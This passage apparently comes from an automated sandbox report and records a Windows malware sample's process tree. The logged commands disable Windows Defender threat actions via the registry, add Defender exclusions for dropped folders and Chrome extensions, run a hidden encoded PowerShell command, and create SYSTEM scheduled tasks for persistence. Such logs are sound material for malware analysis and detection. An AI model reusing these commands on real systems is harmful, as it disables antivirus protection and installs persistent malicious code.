        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2772
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:484
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:2232
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1452
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:1792
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:2008
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:968
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:2580
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:1884
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:3020
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:1556
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:2748
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:2696
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1964
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:1520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gwSOoVnbb" /SC once /ST 06:58:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gwSOoVnbb"
    3⤵
    PID:376
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gwSOoVnbb"
    3⤵
    PID:2120
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
    3⤵
    PID:1132
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
      4⤵
      PID:2616
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:380
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        6⤵
        
        PID:1604
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2896
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2156
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:608
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1712
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1376
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:288
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1472
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\WPGfhLqOzAIwKSwi\LXIxBNQr\YiKzpeVupflDRAYy.wsf"
    3⤵
    PID:800
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\WPGfhLqOzAIwKSwi\LXIxBNQr\YiKzpeVupflDRAYy.wsf"
    3⤵
    PID:652
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2712
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:596
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1500
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2472
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2632
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1064
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2084
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1896
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:108
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2524
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:944
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2952
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2228
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2924
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:968
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2232
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2196
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1884
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2608
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1376
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:3060
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2188
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:536
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1904
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2588
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:376
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2084
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2292
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2780
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2300
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 02:37:48 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\lhUQQrB.exe\" GH /mroididUK 385118 /S" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:2628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "XyyyteIMwZeutaZuw"
    3⤵
    PID:2008
- C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\lhUQQrB.exe
  C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\lhUQQrB.exe GH /mroididUK 385118 /S
  2⤵
  PID:1700
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1972
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:1732
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2200
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:2196
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:2600
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1516
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:1884
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:860
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:1472
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:2652
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:1868
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:288
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:1184
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:2712
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:3060
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1300
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:2516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
    3⤵
    PID:864
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
    3⤵
    PID:2008
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
      4⤵
      PID:468
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        
        PID:3000
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:900
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        7⤵
        
        PID:2696
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
      4⤵
      PID:2784
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        5⤵
        
        PID:1924
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1476
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        7⤵
        
        PID:3036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\ntPhZu.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:2924
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\guDsgUg.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2600
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "FPieTEPPuEmJrhC"
    3⤵
    PID:1516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
    3⤵
    PID:1904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\gtXStBu.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\urMPlDK.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\qRAvFrX.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1464
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\XGsjZnv.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 10:16:10 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\KWGlyNnY\KwSwBkB.dll\",#1 /JbcdidDj 385118" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "rrqYunoktxOQmCoCX"
    3⤵
    PID:468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
    3⤵
    PID:2716
- C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\FOJbLYl.exe
  C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\FOJbLYl.exe it /izqdidrknr 385118 /S
  2⤵
  PID:1464
